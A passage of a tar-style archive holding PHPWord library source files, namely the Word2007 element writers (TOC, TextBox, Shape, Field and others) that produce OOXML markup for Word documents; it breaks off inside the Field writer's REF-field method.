vendor/phpoffice/phpword/src/PhpWord/Writer/Word2007/Element/Formula.php000066600000002540151150442730022057 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Writer\Word2007\Element;

use PhpOffice\Math\Writer\OfficeMathML;
use PhpOffice\PhpWord\Element\Formula as FormulaElement;

/**
 * Formula element writer.
 */
class Formula extends AbstractElement
{
    /**
     * Write element.
     */
    public function write(): void
    {
        $element = $this->getElement();
        if (!$element instanceof FormulaElement) {
            return;
        }

        $this->startElementP();

        $xmlWriter = $this->getXmlWriter();

        $xmlWriter->startElement('w:r');
        $xmlWriter->writeElement('w:rPr');
        $xmlWriter->endElement();

        $xmlWriter->writeRaw((new OfficeMathML())->write($element->getMath()));

        $this->endElementP();
    }
}
vendor/phpoffice/phpword/src/PhpWord/Writer/Word2007/Element/TOC.php000066600000015555151150442730021111 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Writer\Word2007\Element;

use PhpOffice\PhpWord\Element\Title;
use PhpOffice\PhpWord\Element\TOC as TOCElement;
use PhpOffice\PhpWord\Shared\XMLWriter;
use PhpOffice\PhpWord\Style\Font;
use PhpOffice\PhpWord\Writer\Word2007\Style\Font as FontStyleWriter;
use PhpOffice\PhpWord\Writer\Word2007\Style\Paragraph as ParagraphStyleWriter;
use PhpOffice\PhpWord\Writer\Word2007\Style\Tab as TabStyleWriter;

/**
 * TOC element writer.
 *
 * @since 0.10.0
 */
class TOC extends AbstractElement
{
    /**
     * Write element.
     */
    public function write(): void
    {
        $xmlWriter = $this->getXmlWriter();
        $element = $this->getElement();
        if (!$element instanceof TOCElement) {
            return;
        }

        $titles = $element->getTitles();
        $writeFieldMark = true;

        foreach ($titles as $title) {
            $this->writeTitle($xmlWriter, $element, $title, $writeFieldMark);
            if ($writeFieldMark) {
                $writeFieldMark = false;
            }
        }

        $xmlWriter->startElement('w:p');
        $xmlWriter->startElement('w:r');
        $xmlWriter->startElement('w:fldChar');
        $xmlWriter->writeAttribute('w:fldCharType', 'end');
        $xmlWriter->endElement();
        $xmlWriter->endElement();
        $xmlWriter->endElement();
    }

    /**
     * Write title.
     */
    private function writeTitle(XMLWriter $xmlWriter, TOCElement $element, Title $title, bool $writeFieldMark): void
    {
        $tocStyle = $element->getStyleTOC();
        $fontStyle = $element->getStyleFont();
        $isObject = ($fontStyle instanceof Font) ? true : false;
        $rId = $title->getRelationId();
        $indent = (int) (($title->getDepth() - 1) * $tocStyle->getIndent());

        $xmlWriter->startElement('w:p');

        // Write style and field mark
        $this->writeStyle($xmlWriter, $element, $indent);
        if ($writeFieldMark) {
            $this->writeFieldMark($xmlWriter, $element);
        }

        // Hyperlink
        $xmlWriter->startElement('w:hyperlink');
        $xmlWriter->writeAttribute('w:anchor', "_Toc{$rId}");
        $xmlWriter->writeAttribute('w:history', '1');

        // Title text
        $xmlWriter->startElement('w:r');
        if ($isObject) {
            $styleWriter = new FontStyleWriter($xmlWriter, $fontStyle);
            $styleWriter->write();
        }
        $xmlWriter->startElement('w:t');

        $titleText = $title->getText();
        $this->writeText(is_string($titleText) ? $titleText : '');

        $xmlWriter->endElement(); // w:t
        $xmlWriter->endElement(); // w:r

        $xmlWriter->startElement('w:r');
        $xmlWriter->writeElement('w:tab', null);
        $xmlWriter->endElement();

        $xmlWriter->startElement('w:r');
        $xmlWriter->startElement('w:fldChar');
        $xmlWriter->writeAttribute('w:fldCharType', 'begin');
        $xmlWriter->endElement();
        $xmlWriter->endElement();

        $xmlWriter->startElement('w:r');
        $xmlWriter->startElement('w:instrText');
        $xmlWriter->writeAttribute('xml:space', 'preserve');
        $xmlWriter->text("PAGEREF _Toc{$rId} \\h");
        $xmlWriter->endElement();
        $xmlWriter->endElement();

        if ($title->getPageNumber() !== null) {
            $xmlWriter->startElement('w:r');
            $xmlWriter->startElement('w:fldChar');
            $xmlWriter->writeAttribute('w:fldCharType', 'separate');
            $xmlWriter->endElement();
            $xmlWriter->endElement();

            $xmlWriter->startElement('w:r');
            $xmlWriter->startElement('w:t');
            $xmlWriter->text((string) $title->getPageNumber());
            $xmlWriter->endElement();
            $xmlWriter->endElement();
        }

        $xmlWriter->startElement('w:r');
        $xmlWriter->startElement('w:fldChar');
        $xmlWriter->writeAttribute('w:fldCharType', 'end');
        $xmlWriter->endElement();
        $xmlWriter->endElement();

        $xmlWriter->endElement(); // w:hyperlink

        $xmlWriter->endElement(); // w:p
    }

    /**
     * Write style.
     */
    private function writeStyle(XMLWriter $xmlWriter, TOCElement $element, int $indent): void
    {
        $tocStyle = $element->getStyleTOC();
        $fontStyle = $element->getStyleFont();
        $isObject = ($fontStyle instanceof Font) ? true : false;

        $xmlWriter->startElement('w:pPr');

        // Paragraph
        if ($isObject && null !== $fontStyle->getParagraph()) {
            $styleWriter = new ParagraphStyleWriter($xmlWriter, $fontStyle->getParagraph());
            $styleWriter->write();
        }

        // Font
        if (!empty($fontStyle) && !$isObject) {
            $xmlWriter->startElement('w:rPr');
            $xmlWriter->startElement('w:rStyle');
            $xmlWriter->writeAttribute('w:val', $fontStyle);
            $xmlWriter->endElement();
            $xmlWriter->endElement(); // w:rPr
        }

        // Tab
        $xmlWriter->startElement('w:tabs');
        $styleWriter = new TabStyleWriter($xmlWriter, $tocStyle);
        $styleWriter->write();
        $xmlWriter->endElement();

        // Indent
        if ($indent > 0) {
            $xmlWriter->startElement('w:ind');
            $xmlWriter->writeAttribute('w:left', $indent);
            $xmlWriter->endElement();
        }

        $xmlWriter->endElement(); // w:pPr
    }

    /**
     * Write TOC Field.
     */
    private function writeFieldMark(XMLWriter $xmlWriter, TOCElement $element): void
    {
        $minDepth = $element->getMinDepth();
        $maxDepth = $element->getMaxDepth();

        $xmlWriter->startElement('w:r');
        $xmlWriter->startElement('w:fldChar');
        $xmlWriter->writeAttribute('w:fldCharType', 'begin');
        $xmlWriter->endElement();
        $xmlWriter->endElement();

        $xmlWriter->startElement('w:r');
        $xmlWriter->startElement('w:instrText');
        $xmlWriter->writeAttribute('xml:space', 'preserve');
        $xmlWriter->text("TOC \\o {$minDepth}-{$maxDepth} \\h \\z \\u");
        $xmlWriter->endElement();
        $xmlWriter->endElement();

        $xmlWriter->startElement('w:r');
        $xmlWriter->startElement('w:fldChar');
        $xmlWriter->writeAttribute('w:fldCharType', 'separate');
        $xmlWriter->endElement();
        $xmlWriter->endElement();
    }
}
vendor/phpoffice/phpword/src/PhpWord/Writer/Word2007/Element/TextBox.php000066600000004431151150442730022050 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Writer\Word2007\Element;

use PhpOffice\PhpWord\Writer\Word2007\Style\TextBox as TextBoxStyleWriter;

/**
 * TextBox element writer.
 *
 * @since 0.11.0
 */
class TextBox extends Image
{
    /**
     * Write element.
     */
    public function write(): void
    {
        $xmlWriter = $this->getXmlWriter();
        $element = $this->getElement();
        if (!$element instanceof \PhpOffice\PhpWord\Element\TextBox) {
            return;
        }
        $style = $element->getStyle();
        $styleWriter = new TextBoxStyleWriter($xmlWriter, $style);

        if (!$this->withoutP) {
            $xmlWriter->startElement('w:p');
            $styleWriter->writeAlignment();
        }
        $this->writeCommentRangeStart();

        $xmlWriter->startElement('w:r');
        $xmlWriter->startElement('w:pict');
        $xmlWriter->startElement('v:shape');
        $xmlWriter->writeAttribute('type', '#_x0000_t0202');

        if ($style->getBgColor()) {
            $xmlWriter->writeAttribute('fillcolor', $style->getBgColor());
        }

        $styleWriter->write();
        $styleWriter->writeBorder();

        $xmlWriter->startElement('v:textbox');
        $styleWriter->writeInnerMargin();

        // TextBox content, serving as a container
        $xmlWriter->startElement('w:txbxContent');
        $containerWriter = new Container($xmlWriter, $element);
        $containerWriter->write();
        $xmlWriter->endElement(); // w:txbxContent

        $xmlWriter->endElement(); // v: textbox

        $xmlWriter->endElement(); // v:shape
        $xmlWriter->endElement(); // w:pict
        $xmlWriter->endElement(); // w:r

        $this->endElementP();
    }
}
vendor/phpoffice/phpword/src/PhpWord/Writer/Word2007/Element/ListItem.php000066600000004056151150442730022210 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Writer\Word2007\Element;

use PhpOffice\PhpWord\Writer\Word2007\Style\Paragraph as ParagraphStyleWriter;

/**
 * ListItem element writer.
 *
 * @since 0.10.0
 */
class ListItem extends AbstractElement
{
    /**
     * Write list item element.
     */
    public function write(): void
    {
        $xmlWriter = $this->getXmlWriter();
        $element = $this->getElement();
        if (!$element instanceof \PhpOffice\PhpWord\Element\ListItem) {
            return;
        }

        $textObject = $element->getTextObject();

        $styleWriter = new ParagraphStyleWriter($xmlWriter, $textObject->getParagraphStyle());
        $styleWriter->setWithoutPPR(true);
        $styleWriter->setIsInline(true);

        $xmlWriter->startElement('w:p');

        $xmlWriter->startElement('w:pPr');
        $styleWriter->write();

        $xmlWriter->startElement('w:numPr');
        $xmlWriter->startElement('w:ilvl');
        $xmlWriter->writeAttribute('w:val', $element->getDepth());
        $xmlWriter->endElement(); // w:ilvl
        $xmlWriter->startElement('w:numId');
        $xmlWriter->writeAttribute('w:val', $element->getStyle()->getNumId());
        $xmlWriter->endElement(); // w:numId
        $xmlWriter->endElement(); // w:numPr

        $xmlWriter->endElement(); // w:pPr

        $elementWriter = new Text($xmlWriter, $textObject, true);
        $elementWriter->write();

        $xmlWriter->endElement(); // w:p
    }
}
vendor/phpoffice/phpword/src/PhpWord/Writer/Word2007/Element/Bookmark.php000066600000002651151150442730022222 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Writer\Word2007\Element;

/**
 * Bookmark element writer.
 *
 * @since 0.12.0
 */
class Bookmark extends AbstractElement
{
    /**
     * Write bookmark element.
     */
    public function write(): void
    {
        $xmlWriter = $this->getXmlWriter();
        $element = $this->getElement();
        if (!$element instanceof \PhpOffice\PhpWord\Element\Bookmark) {
            return;
        }

        $rId = $element->getRelationId();

        $xmlWriter->startElement('w:bookmarkStart');
        $xmlWriter->writeAttribute('w:id', $rId);
        $xmlWriter->writeAttribute('w:name', $element->getName());
        $xmlWriter->endElement();

        $xmlWriter->startElement('w:bookmarkEnd');
        $xmlWriter->writeAttribute('w:id', $rId);
        $xmlWriter->endElement();
    }
}
vendor/phpoffice/phpword/src/PhpWord/Writer/Word2007/Element/Shape.php000066600000010777151150442730021525 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Writer\Word2007\Element;

use PhpOffice\PhpWord\Element\Shape as ShapeElement;
use PhpOffice\PhpWord\Shared\XMLWriter;
use PhpOffice\PhpWord\Style\Shape as ShapeStyle;
use PhpOffice\PhpWord\Writer\Word2007\Style\Shape as ShapeStyleWriter;

/**
 * Shape element writer.
 *
 * @since 0.12.0
 *
 * @SuppressWarnings(PHPMD.UnusedPrivateMethod)
 */
class Shape extends AbstractElement
{
    /**
     * Write element.
     */
    public function write(): void
    {
        $xmlWriter = $this->getXmlWriter();
        $element = $this->getElement();
        if (!$element instanceof ShapeElement) {
            return;
        }

        $style = $element->getStyle();
        $styleWriter = new ShapeStyleWriter($xmlWriter, $style);

        $type = $element->getType();
        if ($type == 'rect' && $style->getRoundness() !== null) {
            $type = 'roundrect';
        }
        $method = "write{$type}";

        if (!$this->withoutP) {
            $xmlWriter->startElement('w:p');
        }
        $this->writeCommentRangeStart();

        $xmlWriter->startElement('w:r');
        $xmlWriter->startElement('w:pict');
        $xmlWriter->startElement("v:{$type}");

        // Element style
        if (method_exists($this, $method)) {
            $this->$method($xmlWriter, $style);
        }

        // Child style
        $styleWriter->write();

        $xmlWriter->endElement(); // v:$type
        $xmlWriter->endElement(); // w:pict
        $xmlWriter->endElement(); // w:r

        $this->endElementP(); // w:p
    }

    /**
     * Write arc.
     */
    private function writeArc(XMLWriter $xmlWriter, ShapeStyle $style): void
    {
        $points = $this->getPoints('arc', $style->getPoints());

        $xmlWriter->writeAttributeIf($points['start'] !== null, 'startAngle', $points['start']);
        $xmlWriter->writeAttributeIf($points['end'] !== null, 'endAngle', $points['end']);
    }

    /**
     * Write curve.
     */
    private function writeCurve(XMLWriter $xmlWriter, ShapeStyle $style): void
    {
        $points = $this->getPoints('curve', $style->getPoints());

        $this->writeLine($xmlWriter, $style);
        $xmlWriter->writeAttributeIf($points['point1'] !== null, 'control1', $points['point1']);
        $xmlWriter->writeAttributeIf($points['point2'] !== null, 'control2', $points['point2']);
    }

    /**
     * Write line.
     */
    private function writeLine(XMLWriter $xmlWriter, ShapeStyle $style): void
    {
        $points = $this->getPoints('line', $style->getPoints());

        $xmlWriter->writeAttributeIf($points['start'] !== null, 'from', $points['start']);
        $xmlWriter->writeAttributeIf($points['end'] !== null, 'to', $points['end']);
    }

    /**
     * Write polyline.
     */
    private function writePolyline(XMLWriter $xmlWriter, ShapeStyle $style): void
    {
        $xmlWriter->writeAttributeIf($style->getPoints() !== null, 'points', $style->getPoints());
    }

    /**
     * Write rectangle.
     */
    private function writeRoundRect(XMLWriter $xmlWriter, ShapeStyle $style): void
    {
        $xmlWriter->writeAttribute('arcsize', $style->getRoundness());
    }

    /**
     * Set points.
     *
     * @param string $type
     * @param string $value
     *
     * @return array
     */
    private function getPoints($type, $value)
    {
        $points = [];

        switch ($type) {
            case 'arc':
            case 'line':
                $points = explode(' ', $value);
                [$start, $end] = array_pad($points, 2, null);
                $points = ['start' => $start, 'end' => $end];

                break;
            case 'curve':
                $points = explode(' ', $value);
                [$start, $end, $point1, $point2] = array_pad($points, 4, null);
                $points = ['start' => $start, 'end' => $end, 'point1' => $point1, 'point2' => $point2];

                break;
        }

        return $points;
    }
}
vendor/phpoffice/phpword/src/PhpWord/Writer/Word2007/Element/TextRun.php000066600000002140151150442730022057 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Writer\Word2007\Element;

/**
 * TextRun element writer.
 *
 * @since 0.10.0
 */
class TextRun extends Text
{
    /**
     * Write textrun element.
     */
    public function write(): void
    {
        $xmlWriter = $this->getXmlWriter();
        $element = $this->getElement();

        $this->startElementP();

        $containerWriter = new Container($xmlWriter, $element);
        $containerWriter->write();

        $this->endElementP(); // w:p
    }
}
vendor/phpoffice/phpword/src/PhpWord/Writer/Word2007/Element/AbstractElement.php000066600000014344151150442730023534 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Writer\Word2007\Element;

use PhpOffice\PhpWord\Element\AbstractElement as Element;
use PhpOffice\PhpWord\Settings;
use PhpOffice\PhpWord\Shared\Text as SharedText;
use PhpOffice\PhpWord\Shared\XMLWriter;
use PhpOffice\PhpWord\Writer\Word2007\Part\AbstractPart;

/**
 * Abstract element writer.
 *
 * @since 0.11.0
 */
abstract class AbstractElement
{
    /**
     * XML writer.
     *
     * @var \PhpOffice\PhpWord\Shared\XMLWriter
     */
    private $xmlWriter;

    /**
     * Element.
     *
     * @var \PhpOffice\PhpWord\Element\AbstractElement
     */
    private $element;

    /**
     * Without paragraph.
     *
     * @var bool
     */
    protected $withoutP = false;

    /**
     * @var null|AbstractPart
     */
    protected $part;

    /**
     * Write element.
     */
    abstract public function write();

    /**
     * Create new instance.
     *
     * @param bool $withoutP
     */
    public function __construct(XMLWriter $xmlWriter, Element $element, $withoutP = false)
    {
        $this->xmlWriter = $xmlWriter;
        $this->element = $element;
        $this->withoutP = $withoutP;
    }

    /**
     * Get XML Writer.
     *
     * @return \PhpOffice\PhpWord\Shared\XMLWriter
     */
    protected function getXmlWriter()
    {
        return $this->xmlWriter;
    }

    /**
     * Get element.
     *
     * @return \PhpOffice\PhpWord\Element\AbstractElement
     */
    protected function getElement()
    {
        return $this->element;
    }

    /**
     * Start w:p DOM element.
     *
     * @uses \PhpOffice\PhpWord\Writer\Word2007\Element\PageBreak::write()
     */
    protected function startElementP(): void
    {
        if (!$this->withoutP) {
            $this->xmlWriter->startElement('w:p');
            // Paragraph style
            if (method_exists($this->element, 'getParagraphStyle')) {
                $this->writeParagraphStyle();
            }
        }
        $this->writeCommentRangeStart();
    }

    /**
     * End w:p DOM element.
     */
    protected function endElementP(): void
    {
        $this->writeCommentRangeEnd();
        if (!$this->withoutP) {
            $this->xmlWriter->endElement(); // w:p
        }
    }

    /**
     * Writes the w:commentRangeStart DOM element.
     */
    protected function writeCommentRangeStart(): void
    {
        if ($this->element->getCommentsRangeStart() != null) {
            foreach ($this->element->getCommentsRangeStart()->getItems() as $comment) {
                $this->xmlWriter->writeElementBlock('w:commentRangeStart', ['w:id' => $comment->getElementId()]);
            }
        }
    }

    /**
     * Writes the w:commentRangeEnd DOM element.
     */
    protected function writeCommentRangeEnd(): void
    {
        if ($this->element->getCommentsRangeEnd() != null) {
            foreach ($this->element->getCommentsRangeEnd()->getItems() as $comment) {
                $this->xmlWriter->writeElementBlock('w:commentRangeEnd', ['w:id' => $comment->getElementId()]);
                $this->xmlWriter->startElement('w:r');
                $this->xmlWriter->writeElementBlock('w:commentReference', ['w:id' => $comment->getElementId()]);
                $this->xmlWriter->endElement();
            }
        }
        if ($this->element->getCommentsRangeStart() != null) {
            foreach ($this->element->getCommentsRangeStart()->getItems() as $comment) {
                if ($comment->getEndElement() == null) {
                    $this->xmlWriter->writeElementBlock('w:commentRangeEnd', ['w:id' => $comment->getElementId()]);
                    $this->xmlWriter->startElement('w:r');
                    $this->xmlWriter->writeElementBlock('w:commentReference', ['w:id' => $comment->getElementId()]);
                    $this->xmlWriter->endElement();
                }
            }
        }
    }

    /**
     * Write ending.
     */
    protected function writeParagraphStyle(): void
    {
        $this->writeTextStyle('Paragraph');
    }

    /**
     * Write ending.
     */
    protected function writeFontStyle(): void
    {
        $this->writeTextStyle('Font');
    }

    /**
     * Write text style.
     *
     * @param string $styleType Font|Paragraph
     */
    private function writeTextStyle($styleType): void
    {
        $method = "get{$styleType}Style";
        $class = "PhpOffice\\PhpWord\\Writer\\Word2007\\Style\\{$styleType}";
        $styleObject = $this->element->$method();

        /** @var \PhpOffice\PhpWord\Writer\Word2007\Style\AbstractStyle $styleWriter Type Hint */
        $styleWriter = new $class($this->xmlWriter, $styleObject);
        if (method_exists($styleWriter, 'setIsInline')) {
            $styleWriter->setIsInline(true);
        }

        $styleWriter->write();
    }

    /**
     * Convert text to valid format.
     *
     * @param string $text
     *
     * @return string
     */
    protected function getText($text)
    {
        return SharedText::controlCharacterPHP2OOXML($text);
    }

    /**
     * Write an XML text, this will call text() or writeRaw() depending on the value of Settings::isOutputEscapingEnabled().
     *
     * @param string $content The text string to write
     *
     * @return bool Returns true on success or false on failure
     */
    protected function writeText($content)
    {
        if (Settings::isOutputEscapingEnabled()) {
            return $this->getXmlWriter()->text($content);
        }

        return $this->getXmlWriter()->writeRaw($content);
    }

    public function setPart(?AbstractPart $part): self
    {
        $this->part = $part;

        return $this;
    }

    public function getPart(): ?AbstractPart
    {
        return $this->part;
    }
}
vendor/phpoffice/phpword/src/PhpWord/Writer/Word2007/Element/ParagraphAlignment.php000066600000002601151150442730024214 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Writer\Word2007\Element;

/**
 * @since 0.13.0
 */
class ParagraphAlignment
{
    private $name = 'w:jc';

    private $attributes = [];

    /**
     * @since 0.13.0
     *
     * @param string $value Any value provided by Jc simple type
     *
     * @see \PhpOffice\PhpWord\SimpleType\Jc For the allowed values of $value parameter.
     */
    final public function __construct($value)
    {
        $this->attributes['w:val'] = $value;
    }

    /**
     * @since 0.13.0
     *
     * @return string
     */
    final public function getName()
    {
        return $this->name;
    }

    /**
     * @since 0.13.0
     *
     * @return string[]
     */
    final public function getAttributes()
    {
        return $this->attributes;
    }
}
vendor/phpoffice/phpword/src/PhpWord/Writer/Word2007/Element/Field.php000066600000026521151150442730021502 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Writer\Word2007\Element;

use PhpOffice\PhpWord\Element\Field as ElementField;
use PhpOffice\PhpWord\Element\TextRun;

/**
 * Field element writer.
 *
 * @since 0.11.0
 */
class Field extends Text
{
    /**
     * Write field element.
     */
    public function write(): void
    {
        $element = $this->getElement();
        if (!$element instanceof ElementField) {
            return;
        }

        $methodName = 'write' . ucfirst(strtolower($element->getType()));
        if (method_exists($this, $methodName)) {
            $this->$methodName($element);
        } else {
            $this->writeDefault($element);
        }
    }

    private function writeDefault(ElementField $element): void
    {
        $xmlWriter = $this->getXmlWriter();
        $this->startElementP();

        $xmlWriter->startElement('w:r');
        $xmlWriter->startElement('w:fldChar');
        $xmlWriter->writeAttribute('w:fldCharType', 'begin');
        $xmlWriter->endElement(); // w:fldChar
        $xmlWriter->endElement(); // w:r

        $instruction = ' ' . $element->getType() . ' ';
        if ($element->getText() != null) {
            if (is_string($element->getText())) {
                $instruction .= '"' . $element->getText() . '" ';
                $instruction .= $this->buildPropertiesAndOptions($element);
            } else {
                $instruction .= '"';
            }
        } else {
            $instruction .= $this->buildPropertiesAndOptions($element);
        }
        $xmlWriter->startElement('w:r');
        $this->writeFontStyle();
        $xmlWriter->startElement('w:instrText');
        $xmlWriter->writeAttribute('xml:space', 'preserve');
        $xmlWriter->text($instruction);
        $xmlWriter->endElement(); // w:instrText
        $xmlWriter->endElement(); // w:r

        if ($element->getText() != null) {
            if ($element->getText() instanceof TextRun) {
                $containerWriter = new Container($xmlWriter, $element->getText(), true);
                $containerWriter->write();

                $xmlWriter->startElement('w:r');
                $xmlWriter->startElement('w:instrText');
                $xmlWriter->text('"' . $this->buildPropertiesAndOptions($element));
                $xmlWriter->endElement(); // w:instrText
                $xmlWriter->endElement(); // w:r

                $xmlWriter->startElement('w:r');
                $xmlWriter->startElement('w:instrText');
                $xmlWriter->writeAttribute('xml:space', 'preserve');
                $xmlWriter->text(' ');
                $xmlWriter->endElement(); // w:instrText
                $xmlWriter->endElement(); // w:r
            }
        }

        $xmlWriter->startElement('w:r');
        $xmlWriter->startElement('w:fldChar');
        $xmlWriter->writeAttribute('w:fldCharType', 'separate');
        $xmlWriter->endElement(); // w:fldChar
        $xmlWriter->endElement(); // w:r

        $xmlWriter->startElement('w:r');
        $xmlWriter->startElement('w:rPr');
        $xmlWriter->startElement('w:noProof');
        $xmlWriter->endElement(); // w:noProof
        $xmlWriter->endElement(); // w:rPr
        $xmlWriter->writeElement('w:t', $element->getText() != null && is_string($element->getText()) ? $element->getText() : '1');
        $xmlWriter->endElement(); // w:r

        $xmlWriter->startElement('w:r');
        $xmlWriter->startElement('w:fldChar');
        $xmlWriter->writeAttribute('w:fldCharType', 'end');
        $xmlWriter->endElement(); // w:fldChar
        $xmlWriter->endElement(); // w:r

        $this->endElementP(); // w:p
    }

    /**
     * Writes a macrobutton field.
     *
     * //TODO A lot of code duplication with general method, should maybe be refactored
     */
    protected function writeMacrobutton(ElementField $element): void
    {
        $xmlWriter = $this->getXmlWriter();
        $this->startElementP();

        $xmlWriter->startElement('w:r');
        $xmlWriter->startElement('w:fldChar');
        $xmlWriter->writeAttribute('w:fldCharType', 'begin');
        $xmlWriter->endElement(); // w:fldChar
        $xmlWriter->endElement(); // w:r

        $instruction = ' ' . $element->getType() . ' ' . $this->buildPropertiesAndOptions($element);
        if (is_string($element->getText())) {
            $instruction .= $element->getText() . ' ';
        }

        $xmlWriter->startElement('w:r');
        $xmlWriter->startElement('w:instrText');
        $xmlWriter->writeAttribute('xml:space', 'preserve');
        $xmlWriter->text($instruction);
        $xmlWriter->endElement(); // w:instrText
        $xmlWriter->endElement(); // w:r

        if ($element->getText() != null) {
            if ($element->getText() instanceof \PhpOffice\PhpWord\Element\TextRun) {
                $containerWriter = new Container($xmlWriter, $element->getText(), true);
                $containerWriter->write();
            }
        }

        $xmlWriter->startElement('w:r');
        $xmlWriter->startElement('w:fldChar');
        $xmlWriter->writeAttribute('w:fldCharType', 'end');
        $xmlWriter->endElement(); // w:fldChar
        $xmlWriter->endElement(); // w:r

        $this->endElementP(); // w:p
    }

    private function buildPropertiesAndOptions(ElementField $element)
    {
        $propertiesAndOptions = '';
        $properties = $element->getProperties();
        foreach ($properties as $propkey => $propval) {
            switch ($propkey) {
                case 'format':
                    $propertiesAndOptions .= '\\* ' . $propval . ' ';

                    break;
                case 'numformat':
                    $propertiesAndOptions .= '\\# ' . $propval . ' ';

                    break;
                case 'dateformat':
                    $propertiesAndOptions .= '\\@ "' . $propval . '" ';

                    break;
                case 'macroname':
                    $propertiesAndOptions .= $propval . ' ';

                    break;
                default:
                    $propertiesAndOptions .= '"' . $propval . '" ';

                    break;
            }
        }

        $options = $element->getOptions();
        foreach ($options as $option) {
            switch ($option) {
                case 'PreserveFormat':
                    $propertiesAndOptions .= '\\* MERGEFORMAT ';

                    break;
                case 'LunarCalendar':
                    $propertiesAndOptions .= '\\h ';

                    break;
                case 'SakaEraCalendar':
                    $propertiesAndOptions .= '\\s ';

                    break;
                case 'LastUsedFormat':
                    $propertiesAndOptions .= '\\l ';

                    break;
                case 'Bold':
                    $propertiesAndOptions .= '\\b ';

                    break;
                case 'Italic':
                    $propertiesAndOptions .= '\\i ';

                    break;
                case 'Path':
                    $propertiesAndOptions .= '\\p ';

                    break;
                default:
                    $propertiesAndOptions .= $option . ' ';
            }
        }

        return $propertiesAndOptions;
    }

    /**
     * Writes a REF field.
     */
    protected function writeRef(ElementField $element): void
    {
        $xmlWriter = $this->getXmlWriter();
        $this->startElementP();

        $xmlWriter->startElement('w:r');
        $xmlWriter->startElement('w:fldChar');
